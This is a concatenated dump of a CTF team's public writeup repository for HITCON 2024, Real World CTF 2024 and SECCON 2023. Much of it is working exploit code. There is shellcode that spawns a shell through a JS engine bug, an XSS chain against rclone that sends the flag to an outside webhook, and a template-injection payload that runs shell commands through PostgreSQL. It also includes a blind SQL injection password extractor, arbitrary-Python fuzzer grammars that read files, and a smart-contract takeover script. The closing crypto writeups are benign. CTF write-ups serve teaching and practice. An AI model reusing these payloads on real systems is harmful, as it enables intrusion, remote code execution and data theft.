function write(ptr, val) { 38 | table_l_ls.set(0xfffffff9, writer); 39 | boom(ptr - 0x7n, val); 40 | } 41 | 42 | const tgt = leaks[6]; 43 | const sc = [ 44 | 0x6e69622fb848686an, 45 | 0xe7894850732f2f2fn, 46 | 0x2434810101697268n, 47 | 0x6a56f63101010101n, 48 | 0x894856e601485e08n, 49 | 0x50f583b6ad231e6n 50 | ]; 51 | for (let i = 0; i < sc.length; i++) { 52 | write(tgt + BigInt(i) * 8n, sc[i]); 53 | } 54 | for (let i = sc.length; i < 0x50 / 8; i++) { 55 | write(tgt + BigInt(i) * 8n, 0x9090909090909090n); 56 | } 57 | rec(2); 58 | console.log(`[+] shellcode triggered!`); // unreachable, we got shell 59 | -------------------------------------------------------------------------------- /hitcon2024/rev_penguin_and_crap/README.md: -------------------------------------------------------------------------------- 1 | # Penguin and Crap - Reversing 2 | ``` 3 | 🐧https://www.youtube.com/watch?v=sCszdeWTzKs&t=0s 4 | 🦀https://www.youtube.com/watch?v=qElvTW-8-W8&t=0s. 5 | 6 | https://storage.googleapis.com/hitcon-ctf-2024-qual-attachment/penguin-and-crab/penguin-and-crab-276719eb79c08d95ecaa6075e317b0641fb15d1f.tar.gz 7 | 8 | Author: wxrdnx 9 | 25 Teams solved. 10 | ``` 11 | 12 | # Analysis 13 | The Linux kernel module that checks the flag is given in the initramfs. cpio. The kernel module simply checks the flag entered and prints the result. 14 | 15 | The flag is 100 chars, and the checking algorithm calculates the input as a 32-bit integer. There are multiple checking algorithms exist, such as subset sum problem, discrete logarithm, multiplication, xor, rotate, and so on. 16 | 17 | I've analyzed the whole flag-checking algorithm and wrote inverse operations. 18 | 19 | For the subset-sum problem, the density is low (~0.5), so we can use a Low-Density attack. And, for the discrete logarithm problem, the modulus is prime. So we can recover exponents. Other operations are trivial to inverse. 20 | 21 | The whole solver script is in solver.py. 22 | -------------------------------------------------------------------------------- /hitcon2024/rev_revisual/canvas_calc.glsl: -------------------------------------------------------------------------------- 1 | // v shader 2 | attribute vec3 position; 3 | varying float pos_z; 4 | 5 | void main(void){ 6 | gl_Position = vec4(position.xy, 0.0, 1.0); 7 | pos_z = position.z; 8 | } 9 | 10 | // f shader 11 | #ifdef GL_ES 12 | precision highp float; 13 | #endif 14 | varying float pos_z; 15 | 16 | float func1 (float arg1, float lo, float hi) { 17 | lo = floor(lo + 0.5); 18 | hi = floor(hi + 0.5); 19 | return mod(floor((floor(arg1) + 0.5) / exp2(lo)), floor(1.0*exp2(hi - lo) + 0.5)); 20 | } 21 | 22 | vec4 floatToVec4 (float g) { 23 | if (g == 0.0) return vec4(0.0); 24 | float a = g > 0.0 ? 0.0 : 1.0; 25 | g = abs(g); 26 | float b = floor(log2(g)); 27 | float v3 = b + 255.0 - 128.0; 28 | b = ((g / exp2(b)) - 1.0) * pow(2.0, 23.0); 29 | float r = v3 / 2.0; 30 | v3 = fract(r) + fract(r); 31 | float v5 = floor(r); 32 | r = func1(b, 0.0, 8.0) / 255.0; 33 | g = func1(b, 8.0, 16.0) / 255.0; 34 | b = (v3 * 128.0 + func1(b, 16.0, 23.0)) / 255.0; 35 | a = (a * 128.0 + v5) / 255.0; 36 | return vec4(r, g, b, a); 37 | } 38 | 39 | void main() 40 | { 41 | gl_FragColor = floatToVec4(pos_z); 42 | } 43 | -------------------------------------------------------------------------------- /hitcon2024/web3_lustrous/README.md: -------------------------------------------------------------------------------- 1 | # Lustrous - Web3 2 | 3 | ## Description 4 | 5 | - Bug 1: https://github.com/vyperlang/vyper/security/advisories/GHSA-gp3w-2v2m-p686 6 | - We can make we always draw the game against the bot. 7 | - Allows resetting to stage 1 without any ETH loss. 8 | - Bug 2: https://github.com/vyperlang/vyper/security/advisories/GHSA-2q8v-3gqq-4f8p 9 | - During concat function, it overwrites the most significant bit/byte (MSB) of the callee's memory. 10 | - We can exploit this by overwriting the MSB of the health value. If the health value is a signed negative integer, this can turn it into an extremely large number. 11 | 12 | ## Flag 13 | 14 | - `hitcon{f1y_m3_t0_th3_m00n_3a080ea144010d74}` -------------------------------------------------------------------------------- /hitcon2024/web3_noexitroom/READM.md: -------------------------------------------------------------------------------- 1 | # No Exit Room - Web3 2 | 3 | ## Description 4 | 5 | The Beacon's upgrade feature has improper access control, so anyone can upgrade the implementation. 6 | 7 | ```solidity 8 | // SPDX-License-Identifier: UNLICENSED 9 | pragma solidity ^0.8.13; 10 | 11 | import {Script, console} from "forge-std/Script.sol"; 12 | import {Counter} from "../src/Counter.sol"; 13 | 14 | interface IRoom { 15 | function historyRequests(int256) external view returns (int256); 16 | 17 | function isHacked() external view returns (bool); 18 | 19 | function isSolved() external view returns (bool); 20 | 21 | function request(address, int256) external; 22 | 23 | function onRequest(int256) external returns (int256); 24 | 25 | function selfRequest(int256) external returns (int256); 26 | 27 | function solveRoomPuzzle(int256[] calldata) external; 28 | 29 | function hack(int256 x, bool) external; 30 | } 31 | 32 | interface ISetup { 33 | function beacon() external returns (address); 34 | 35 | function channel() external returns (address); 36 | 37 | function protocol() external returns (address); 38 | 39 | function alice() external returns (address); 40 | 41 | function bob() external returns (address); 42 | 43 | function david() external returns (address); 44 | 45 | function commitPuzzle(int256) external; 46 | 47 | function isSolved() external view returns (bool); 48 | } 49 | 50 | interface IBeacon { 51 | function update(address) external; 52 | 53 | function implementation() external view returns (address); 54 | } 55 | 56 | contract FakeBeacon { 57 | fallback() external { 58 | assembly { 59 | mstore(0, 0) 60 | return(0, 0x20) 61 | } 62 | } 63 | } 64 | 65 | contract CounterScript is Script { 66 | Counter public counter; 67 | 68 | function setUp() public { 69 | 70 | } 71 | 72 | function run() public { 73 | vm.startBroadcast(); 74 | 75 | ISetup setup = ISetup(0x73684c3F0492118E9984b4e0C13E57CF1DCA15B5); 76 | IRoom alice = IRoom(setup.alice()); 77 | IRoom bob = IRoom(setup.bob()); 78 | IRoom david = IRoom(setup.david()); 79 | IBeacon beacon = IBeacon(setup.beacon()); 80 | 81 | alice.request(address(bob), 1); 82 | alice.request(address(david), 1); 83 | bob.request(address(alice), 1); 84 | bob.request(address(david), 2); 85 | david.request(address(alice), 2); 86 | david.request(address(bob), 2); 87 | 88 | alice.selfRequest(0x1337); 89 | bob.selfRequest(0x1337); 90 | david.selfRequest(0x1337); 91 | 92 | FakeBeacon x = new FakeBeacon(); 93 | beacon.update(address(x)); 94 | 95 | int256[] memory p0 = new int256[](3); 96 | alice.solveRoomPuzzle(p0); 97 | bob.solveRoomPuzzle(p0); 98 | david.solveRoomPuzzle(p0); 99 | 100 | setup.commitPuzzle(116); 101 | 102 | setup.isSolved(); 103 | 104 | vm.stopBroadcast(); 105 | } 106 | } 107 | ``` 108 | 109 | ## Flag 110 | 111 | - `hitcon{e0752a5b833bb528ac5ceca7baa2a6b6e885b04b0b26e4f2388910aea39d892}` -------------------------------------------------------------------------------- /hitcon2024/web_gleamering_{star,hope}/README.md: -------------------------------------------------------------------------------- 1 | # Gleamering {Star,Hope} - Web 2 | ``` 3 | Like a star in the sky, gleamering, remembering all the things we've done. 4 | 5 | Instancer: http://gleamering.chal.hitconctf.com/ 6 | 7 | Attachment: https://storage.googleapis.com/hitcon-ctf-2024-qual-attachment/gleamering/gleamering-8acf90164f9aed0ce5e4018b3e9ea66a203022e5.tar.gz 8 | 9 | Author: bronson113 10 | 7 Teams solved. 11 | ``` 12 | 13 | ``` 14 | At last, when all sights of light disappear, only the hope gleamering within you. 15 | 16 | PS. This is part 2 to Gleamering Star 17 | 18 | Instancer: http://gleamering.chal.hitconctf.com/ 19 | 20 | Attachment: https://storage.googleapis.com/hitcon-ctf-2024-qual-attachment/gleamering/gleamering-8acf90164f9aed0ce5e4018b3e9ea66a203022e5.tar.gz 21 | 22 | Author: bronson113 23 | 4 Teams solved. 24 | ``` 25 | 26 | # Gleamering Star 27 | The service provides register, login, add-post, and encrypt-post features. The first goal is reading the admin's encrypted post, and the second goal is gaining arbitrary code execution. 28 | 29 | To read another user's encrypted post, we must know item_id, which depends on `AUTHORIZATION_KEY`. Since the post encryption uses `AUTHORIZATION_KEY`, too, we have to leak it. 30 | 31 | The service uses ffi to encrypt the post, and the compiled ffi library is located at `gleamering_hope/priv/gleamering_hope_ffi.so`. 32 | 33 | The following is the decompiled `stream_xor` function used in encryption. 34 | 35 | ```c 36 | __int64 __fastcall stream_xor(__int64 env, __int64 a2, _QWORD *a3) 37 | { 38 | __int64 v4; // rdx 39 | __int64 v5; // rcx 40 | __int64 v6; // r8 41 | __int64 v7; // r9 42 | ErlNifBinary buf; // [rsp+20h] [rbp-D0h] BYREF 43 | ErlNifBinary prefix; // [rsp+50h] [rbp-A0h] BYREF 44 | ErlNifBinary key; // [rsp+80h] [rbp-70h] BYREF 45 | ErlNifBinary msg; // [rsp+B0h] [rbp-40h] BYREF 46 | __int64 binary; // [rsp+E0h] [rbp-10h] 47 | int i; // [rsp+ECh] [rbp-4h] 48 | 49 | if ( !enif_inspect_binary(env, *a3, &msg) 50 | || !enif_inspect_binary(env, a3[1], &key) 51 | || !enif_inspect_binary(env, a3[2], &prefix) ) 52 | { 53 | return enif_make_badarg(env); 54 | } 55 | if ( msg.size ) 56 | { 57 | if ( !enif_alloc_binary(msg.size + prefix.size, &buf) ) 58 | return enif_make_badarg(env); 59 | memcpy(buf.data, prefix.data, prefix.size); 60 | for ( i = 0; i < msg.size; ++i ) 61 | buf.data[prefix.size + i] = key.data[i] ^ msg.data[i]; 62 | binary = enif_make_binary(env, &buf); 63 | if ( is_backdoor(env, (__int64)&buf, v4, v5, v6, v7, buf.size, buf.data) ) 64 | hex_decode(&buf, msg.data, msg.size); 65 | return binary; 66 | } 67 | else 68 | { 69 | if ( !enif_alloc_binary(8LL, &buf) ) 70 | return enif_make_badarg(env); 71 | *(_QWORD *)buf.data = &enif_alloc_binary; 72 | return enif_make_binary(env, &buf); 73 | } 74 | } 75 | ``` 76 | 77 | While encrypting the message via xor, there is no mod to key index (`buf.data[prefix.size + i] = key.data[i] ^ msg.data[i];`). This can lead memory leak. 78 | 79 | So, we can dump large amounts of bytes through memory leak and finding `AUTHORIZATION_KEY` was able. 80 | 81 | The full exploit script is in `gleamering-star-solver.py`. 82 | 83 | # Gleamering Hope 84 | If the `is_backdoor` function returns true, the `hex_decode` function is called. But, since the dst buffer is `&buf`, not `buf.data`, the stack buffer overflow occurred. 85 | 86 | Further, if the `msg.size` is 0, the library simply returns binary address (`&enif_alloc_binary`). 87 | 88 | We have a stack overflow, no canary, and a binary base address, so gaining a shell through ROP is trivial. 89 | 90 | We used the `execv` function to execute the system command, and got a flag via the curl command. 91 | 92 | The full exploit script is in `gleamering-hope-solver.py`. 93 | -------------------------------------------------------------------------------- /hitcon2024/web_gleamering_{star,hope}/glmearing-star-solver.py: -------------------------------------------------------------------------------- 1 | from requests import Session 2 | from base64 import * 3 | from hashlib import * 4 | from pwn import xor 5 | import struct 6 | 7 | s = Session() 8 | 9 | url = "http://gleamering.chal.hitconctf.com:30482" 10 | r = s.post(url + "/signup", data="user=fuck&pass=fuck&id=1", headers={"Content-Type" : "application/x-www-form-urlencoded", "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"}) 11 | # print(r.text) 12 | 13 | r = s.post(url + "/posts", data="content=" + "a" * 0x2000, headers={"Content-Type" : "application/x-www-form-urlencoded", "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"}) 14 | item_id = int(r.text.split('id="item-')[1].split('"')[0]) 15 | 16 | print(item_id) 17 | r = s.patch(url + f"/posts/{item_id}", headers={"Content-Type" : "application/x-www-form-urlencoded", "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"}) 18 | ct = b64decode(r.text.split('value="')[1].split('"')[0]) 19 | pt = b'a' * 0x2000 20 | 21 | leak = bytes([i ^ j for i, j in zip(pt, ct)]) 22 | 23 | for i in range(0, len(leak), 8): 24 | k = struct.unpack("> 4 25 | usermult = 0xDEADBEEF 26 | msgmult = 0xCAFEBABE 27 | 28 | user_id = 1 29 | msg_id = item_id 30 | key = k 31 | key = user_id * usermult + msg_id * msgmult + key * user_id 32 | 33 | candi = bytes([a ^ b for a, b in zip(sha512((key).to_bytes(16, 'big')).digest(), ct[:0x40])]) 34 | if candi == b'a' * 0x40: 35 | key = k 36 | print(key) 37 | break 38 | 39 | usermult = 0xDEADBEEF 40 | msgmult = 0xCAFEBABE 41 | 42 | user_id = 1 43 | msg_id = 1 44 | # key = 2099777860903446 45 | 46 | k = user_id * usermult + msg_id * msgmult + key * user_id 47 | 48 | # The admin post's item_id is key + 2. 49 | ct = b64decode('HElfQcL4rHu+WVvYdsk0ReQ161/ojmQDy4ariN9xsg0O/F6BYvJpdLVrG9ximjdtsh/R1cYCO/Xw4ZKCtA==') 50 | print(xor(sha512((k).to_bytes(16, 'big')).digest(), ct)) 51 | -------------------------------------------------------------------------------- /hitcon2024/web_rclone/index.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /hitcon2024/web_rclone/index.js: -------------------------------------------------------------------------------- 1 | const leDomain = "rclone" 2 | const rcAPIEndpoint = `http://${leDomain}:5572`; 3 | const fakeRcAPIEndpoint = `http://a:b@${leDomain}:8080`; 4 | const webhook = "https://exfil-addr.x.pipedream.net"; 5 | const exfilRcAPIEndpoint = `http://${leDomain}:8079`; 6 | const ownedUrl = "https://secure.mydomain.tld"; 7 | for (let i = 0; i < 1; i++) { 8 | // just a threaded python server that has a route that just sleeps for 5 seconds. 9 | fetch(`${ownedUrl}/delay`, { 10 | cache: "no-store", 11 | mode: "no-cors", 12 | }) 13 | } 14 | 15 | (async () => { 16 | console.log("started") 17 | const sleep = async (ms) => new Promise(resolve => setTimeout(resolve, ms)); 18 | let res; 19 | 20 | let innerScript = ` 21 | const webhook = "${webhook}"; 22 | navigator.sendBeacon(webhook, "xss script init"); 23 | console.log("xss script init"); 24 | (async () => { 25 | console.log(window.location); 26 | let res = await fetch("/flag.txt"); 27 | res = await res.text(); 28 | navigator.sendBeacon(webhook, res); 29 | console.log("gg!") 30 | })(); 31 | `.trim(); 32 | innerScript = innerScript.split('').map(c => c.charCodeAt(0)).join(','); 33 | 34 | if (window.location.protocol == "https:") { 35 | let uServe = new URL(`${rcAPIEndpoint}/core/command`) 36 | uServe.searchParams.set("command", "serve") 37 | uServe.searchParams.set("arg", JSON.stringify(["http", "--auth-proxy", `/bin/bash -c CMD=$'\\x20';/readflag>/tmp/flag.txt;echo$CMD>/tmp/xss.html`, "--addr", "0.0.0.0:8080", "--verbose", "--log-file", "/tmp/log", "--allow-origin", "*"])) 38 | uServe.searchParams.set("fs", "/") 39 | uServe.searchParams.set("_async", "true") 40 | try { 41 | res = fetch(uServe.href, { 42 | method: "POST", 43 | credentials: "include", 44 | mode: "no-cors" 45 | }); 46 | } catch (e) { } 47 | let uRCD = new URL(`${rcAPIEndpoint}/core/command`) 48 | uRCD.searchParams.set("command", "rcd") 49 | uRCD.searchParams.set("arg", JSON.stringify(["/tmp", "--rc-addr", "0.0.0.0:8079", "--rc-allow-origin", "*", "--verbose", "--log-file", "/tmp/log-exfil"])) 50 | uRCD.searchParams.set("fs", "/") 51 | uRCD.searchParams.set("_async", "true") 52 | try { 53 | res = fetch(uRCD.href, { 54 | method: "POST", 55 | credentials: "include", 56 | mode: "no-cors" 57 | }) 58 | } catch (e) { } 59 | window.open(`${fakeRcAPIEndpoint}/`, "_blank"); 60 | await sleep(1000); 61 | console.log("all opened") 62 | window.location = `http://${leDomain}:8079/xss.html` 63 | } else if (window.location.protocol == "http:") { 64 | } 65 | })(); -------------------------------------------------------------------------------- /rwctf2024/YouKnowHowToFuzz/README.md: -------------------------------------------------------------------------------- 1 | # YouKnowHowToFuzz! 2 | 3 | > `Misc`, `Clone-and-Pwn`, `difficulty:Baby` 4 | > 5 | > I like eat domato, it''s excellent for dom fuzz, try to use your rule! 6 | 7 | ## Background 8 | 9 | [Domato](https://github.com/googleprojectzero/domato) is an open-source fuzzer made to test DOM engines. Users can specify their own grammars to direct fuzzing. 10 | 11 | ## Setup 12 | 13 | We are given some setup files, but the main part of the code is from `chal.py` (below). We can see that it takes in a grammar to parse and outputs 10 samples based on the grammar. The flag is located at `/srv/app/flag_$(md5sum /flag | awk '{print $1}')`. 14 | 15 | ```python 16 | #!/usr/local/bin/python3 17 | from grammar import Grammar 18 | 19 | print("define your own rule >> ") 20 | your_rule = "" 21 | while True: 22 | line = input() 23 | if line == "": 24 | break 25 | your_rule += line + "\n" 26 | 27 | rwctf_grammar = Grammar() 28 | err = rwctf_grammar.parse_from_string(your_rule) 29 | 30 | if err > 0: 31 | print("Grammer Parse Error") 32 | exit(-1) 33 | 34 | rwctf_result = rwctf_grammar._generate_code(10) 35 | with open("/domato/rwctf/template.html", "r") as f: 36 | template = f.read() 37 | 38 | rwctf_result = template.replace("", rwctf_result) 39 | 40 | print("your result >> ") 41 | print(rwctf_result) 42 | ``` 43 | 44 | ## Vulnerability 45 | 46 | Domato allows the execution of Python code to aid in generating programs. There are no restrictions on this code, so we can use it to locate/print the flag. 47 | 48 | ## Exploit 49 | 50 | Looking through the Domato GitHub, there are some code samples that can be copied and modified slightly to execute python and return the result in the generated programs. The code I used to exploit the challenge was not minified, so some code is probably unnecessary. 51 | 52 | Finding the flag file: 53 | 54 | ``` 55 | !begin function savesize 56 | context['size'] = ret_val 57 | !end function 58 | 59 | !begin function getf 60 | import os 61 | f = os.listdir("/srv/app") 62 | ret_val = " ".join(f) 63 | !end function 64 | 65 | =
66 |
= Size: 67 | = 68 | 69 | !varformat fuzzvar%05d 70 | !lineguard try { } catch(e) {} 71 | 72 | !begin lines 73 | = ; 74 | .doSomething(); 75 | !end lines 76 | 77 | 78 | ``` 79 | 80 | Reading the flag: 81 | 82 | ``` 83 | !begin function savesize 84 | context['size'] = ret_val 85 | !end function 86 | 87 | !begin function getf 88 | ret_val = open("flag_b261381493cd818b5fa9d25a1f249b30").read() 89 | !end function 90 | 91 | =
92 |
= Size: 93 | = 94 | 95 | !varformat fuzzvar%05d 96 | !lineguard try { } catch(e) {} 97 | 98 | !begin lines 99 | = ; 100 | .doSomething(); 101 | !end lines 102 | 103 | 104 | ``` -------------------------------------------------------------------------------- /rwctf2024/chatterbox/exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # uploads payload to our server, and runs ftp server 4 | 5 | sshbox="sshconfigname" 6 | 7 | scp ./payload $sshbox:~/payload 8 | ssh $sshbox 'pgrep -f "python3 -m pyftpdlib" | kill -9; nohup python3 -m pyftpdlib -p 21 &' -------------------------------------------------------------------------------- /rwctf2024/chatterbox/payload: -------------------------------------------------------------------------------- 1 | redirect:/?exfil=[# th:with="a=${new org.postgresql.Driver().connect('jdbc:postgresql://127.0.0.1:5432/postgres?user=postgres&password=postgres', null).createStatement().executeUpdate('copy messages from program ''echo -n 6942069,1, ; echo -n `/readflag` ; echo ,2024-01-01'' csv;')}"][/] -------------------------------------------------------------------------------- /rwctf2024/chatterbox/sol.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | # NOTE: requires a remote ftp server with port 21 open 4 | # see exploit.sh, or otherwise run it first 5 | 6 | CHALL_URL = "http://localhost:8080" 7 | # CHALL_URL = "http://47.89.225.36:36207" 8 | OUR_DOMAIN = "whatever_ip_your_server_is_on" 9 | 10 | charset = "0123456789abcdef-!ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}%@#%&*()_=,.<>/\\?[];" 11 | 12 | def get_password(): 13 | return "xxxxxxx" 14 | # cur_passwd = "WeakPass" 15 | # cur_passwd = "" 16 | raw_payload = f"""a' || """ 17 | for _ in range(10): 18 | raw_payload += "'b' || " 19 | raw_payload += "1/int4(textregexeq(substring(passwd,START,END),'TEST')) || " 20 | raw_payload += "'a" 21 | for i in range( 22 | len(cur_passwd), len("WeakPass73d0bd16-bcc7-11ee-9392-0242ac110004!!") 23 | ): 24 | print(cur_passwd) 25 | for c in charset: 26 | attempt = ( 27 | raw_payload.replace("START", str(i + 1)) 28 | .replace("END", str(1)) 29 | .replace("TEST", c) 30 | ) 31 | r = requests.post( 32 | f"{CHALL_URL}/login", data={"username": attempt, "passwd": "idk"} 33 | ) 34 | if "Incorrect Username/Password" in r.text: 35 | cur_passwd += c 36 | break 37 | return cur_passwd 38 | 39 | def main(): 40 | # prep ftp server 41 | passwd = get_password() 42 | print(passwd) 43 | s = requests.Session() 44 | r = s.post( 45 | f"{CHALL_URL}/login", headers={}, data={"username": "admin", "passwd": passwd} 46 | ) 47 | print(r.text) 48 | if "post_message" not in r.text: 49 | print("login failed") 50 | exit() 51 | 52 | path = f"..\\..\\{OUR_DOMAIN}/payload?.txt" 53 | r = s.get(f"{CHALL_URL}/notify", params={"fname": path}) 54 | print(r.text) 55 | 56 | if __name__ == "__main__": 57 | main() -------------------------------------------------------------------------------- /rwctf2024/hoshmonstar/code.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/rwctf2024/hoshmonstar/code.bin -------------------------------------------------------------------------------- /rwctf2024/hoshmonstar/sol_aarch64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/rwctf2024/hoshmonstar/sol_aarch64.bin -------------------------------------------------------------------------------- /rwctf2024/hoshmonstar/sol_riscv.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/rwctf2024/hoshmonstar/sol_riscv.bin -------------------------------------------------------------------------------- /rwctf2024/hoshmonstar/sol_x86.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/rwctf2024/hoshmonstar/sol_x86.bin -------------------------------------------------------------------------------- /rwctf2024/hoshmonstar/stub.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/rwctf2024/hoshmonstar/stub.bin -------------------------------------------------------------------------------- /rwctf2024/lets_party_in_the_house/Lets-party-in-the-house_2cd37ebed31d41afb6bbe094659985d9.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/rwctf2024/lets_party_in_the_house/Lets-party-in-the-house_2cd37ebed31d41afb6bbe094659985d9.tar.xz -------------------------------------------------------------------------------- /rwctf2024/lets_party_in_the_house/exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | import struct 5 | import threading 6 | 7 | # rwctf{d0e03372-b885-4418-9de7-145a4e66ec0d} 8 | 9 | # HOST = 'http://localhost:8080' 10 | HOST = 'http://47.88.48.133:39567' 11 | 12 | def thread_fn(i): 13 | base = 0x400000 + (i << 16) 14 | print(f"base={base:#x}") 15 | arg0 = struct.pack(' This CIG is composed of ICG, ICG and ICG! 8 | > 9 | > dist.tar.gz 29bf714f78f38ae2f40cbf21d04571cde3d3a75c 10 | 11 | We're given an implementation of a [compound inversive generator](https://en.wikipedia.org/wiki/Inversive_congruential_generator#Compound_inversive_generator) that is composed of three [inversive congruential generators](https://en.wikipedia.org/wiki/Inversive_congruential_generator). We're given the $a_i$, $b_i$ and $p_i$ parameters for each ICG, with each $p$ being 125 bits long. The generator produces a raw output mod $T = p_1 p_2 p_3$, around 375 bits long, which is then truncated to 256 bits. 12 | 13 | The CIG is initialized randomly, used to encrypt a 68-byte flag using XOR, and then we're given 300 bytes of "leaked" output. Our task is to recover the state of the CIG to decrypt the flag. 14 | 15 | ## Solution 16 | 17 | Each ICG generates the next output as $x_{i,n+1} = a_i x_{i,n}^{-1} + b_i \bmod p_i$. The outputs are then combined with a CRT-like construction using $x_{n+1} = \sum_{i} T_i x_{i,n+1} \bmod T$, where $T_i = T / p_i$. Notably, $x_{n+1} = T_i x_{i,n+1} \bmod p_i$. 18 | 19 | We're given a total of 9 full blocks of output (plus another 12 bytes of partial output, which we'll ignore). Let $o_n$ represent the (known) outputs, with $q_n$ representing the (unknown) quotients of $x_n$ by $2^L$ ($L = 256$). Each $q_n$ is on the order of 117 bits long. Thus, for each block $n = 1, 2, ..., 9$ and generator $i = 1, 2, 3$, we can write the equations 20 | 21 | $2^L q_n + o_n = x_{i,n} T_i \bmod p_i$ 22 | 23 | These aren't enough to solve the problem yet: we have about 4428 bits (9x117 + 27x125) of unknowns, but only about 3375 bits (27x125) of constraints (moduli). 24 | 25 | To get additional equations, consider the product $x_{n} x_{n+1}$. Mod $p_i$, this expands to $T_i^2 (a_i + b_i x_{i,n})$. The left-hand side expands to $(2^L q_n + o_n)(2^L q_{n+1} + o_{n+1}) = 2^{2L} q_n q_{n+1} + 2^L (q_n o_{n+1} + q_{n+1} o_{n}) + o_{n} o_{n+1}$. Treating $q_n q_{n+1}$ as a new variable (on the order of 238 bits), this gives us 24 new equations, with 1872 bits (8x234) of new variables and 3000 bits (24x125) of constraints. 26 | 27 | Summing up, we find that we now have 6300 bits of variables and 6375 bits of constraints, so this should be linearly solvable. I use [solvelinmod.py](https://github.com/nneonneo/pwn-stuff/blob/master/math/solvelinmod.py) for the job, which implements an LLL-based solver for systems of linear equations over arbitrary moduli. 28 | 29 | After obtaining the $x_{i,n}$, we just need to run the ICGs in reverse to obtain the initial state, then decrypt the flag: `SECCON{ICG1c6iC6icgic6icgcIgIcg1C6ic6ICGICG1cGicG1C61CG1cG1c61cgIcg}`. 30 | 31 | The full attack is implemented in [solve.py](solve.py). 32 | -------------------------------------------------------------------------------- /seccon2023/crypto_cigisicgicgicg/solve.py: -------------------------------------------------------------------------------- 1 | from solvelinmod import solve_linear_mod 2 | 3 | sys.path.append("dist") 4 | from problem import * 5 | exec(open("dist/output.txt", "r").read(), globals()) 6 | 7 | from sage.all import * 8 | 9 | random = CIG([ICG(p1, a1, b1), ICG(p2, a2, b2), ICG(p3, a3, b3)]) 10 | block_size = random.L // 8 11 | outputs = [int.from_bytes(leaked[i:i+block_size], "big") for i in range(0, len(leaked), block_size)] 12 | outputs.pop() # remove last partial output 13 | icgs = random.icgs 14 | 15 | def inv_x(icg, x): 16 | return int(pow((x - icg.b) * pow(icg.a, -1, icg.p), -1, icg.p)) 17 | 18 | ts = [random.Ts[i] % icgs[i].p for i in range(3)] 19 | L = random.L 20 | T = random.T 21 | equations = [] 22 | variables = {} 23 | nout = len(outputs) 24 | qvars = [] 25 | xvars = [] 26 | for i in range(nout): 27 | # o == x * t mod 2^L 28 | # => (q << L) + o == x * t 29 | qvars.append(var(f'q{i}')) 30 | xvars.append([]) 31 | variables[qvars[i]] = random.T >> random.L 32 | for j in range(3): 33 | xvars[i].append(var(f'x{i}{j}')) 34 | variables[xvars[i][j]] = icgs[j].p 35 | equations.append((qvars[i] * (2 ** L) + outputs[i] == xvars[i][j] * ts[j], icgs[j].p)) 36 | 37 | qqvars = [] 38 | for i in range(nout - 1): 39 | # o1*o2 == (bx + a)*t*t mod 2^L 40 | # => ((q1*q2) << 2L) + ((q1*o2 + q2*o1) << L) + (o1*o2) == (bx + a)*t*t 41 | qqvars.append(var(f'qq{i}')) 42 | variables[qqvars[i]] = (0, ((T // 2) ** 2) >> (L * 2), (T ** 2) >> (L * 2)) 43 | 44 | for j in range(3): 45 | oo = qqvars[i] * (2 ** (2 * L)) + qvars[i] * outputs[i + 1] * (2 ** L) + qvars[i + 1] * outputs[i] * (2 ** L) + outputs[i] * outputs[i+1] 46 | equations.append((oo == (xvars[i][j] * icgs[j].b + icgs[j].a) * ts[j] * ts[j], icgs[j].p)) 47 | 48 | result = solve_linear_mod(equations, variables, use_flatter=True) 49 | for j in range(3): 50 | icg = icgs[j] 51 | icg.x = inv_x(icg, result[xvars[0][j]]) 52 | 53 | assert random.randbytes(300) == leaked 54 | 55 | for j in range(3): 56 | icg = icgs[j] 57 | x = result[xvars[0][j]] 58 | for i in range(4): 59 | x = inv_x(icg, x) 60 | icg.x = x 61 | 62 | print(xor(enc_flag, random.randbytes(len(enc_flag)))) 63 | 64 | # SECCON{ICG1c6iC6icgic6icgcIgIcg1C6ic6ICGICG1cGicG1C61CG1cG1c61cgIcg} 65 | -------------------------------------------------------------------------------- /seccon2023/crypto_increasing_entropoid/README.md: -------------------------------------------------------------------------------- 1 | ## Increasing Entropoid - Crypto Problem - Writeup by Robert Xiao (@nneonneo) 2 | 3 | Increasing Entropoid was a crypto challenge solved by 7 teams, worth 322 points. 4 | 5 | Description: 6 | 7 | > I have reimplemented entropoid based Diffie-Hellman key exchange protocol. 8 | > 9 | > dist.tar.gz 425d196792e1aaf3b80ba71e8f5f2b69526a5363 10 | 11 | We're provided with an implementation of the Diffie-Hellman-like key exchange protocol from ["Entropoid Based Cryptography"](https://eprint.iacr.org/2021/469.pdf). This protocol is based on mathematical operations within an "entropoid" quasigroup $G$, which has a peculiar property: the group operation $*$ is non-commutative and non-associative, yet the exponentation operation *is* commutative when exponentiating to "generalized" exponents, *i.e.* exponents which encode the order in which operations are performed. That is, for generalized exponents $A$ and $B$ and an entropoid element $g$, $(g^A)^B = (g^B)^A$. This admits a Diffie-Hellman-like key exchange construction in which the exponents are the private keys and the $g^A$, $g^B$ are the public keys. 12 | 13 | The provided script is a faithful implementation of the protocol. It represents entropoid elements as a pair of numbers modulo a specified prime $p$, and entropoid exponents as a tuple 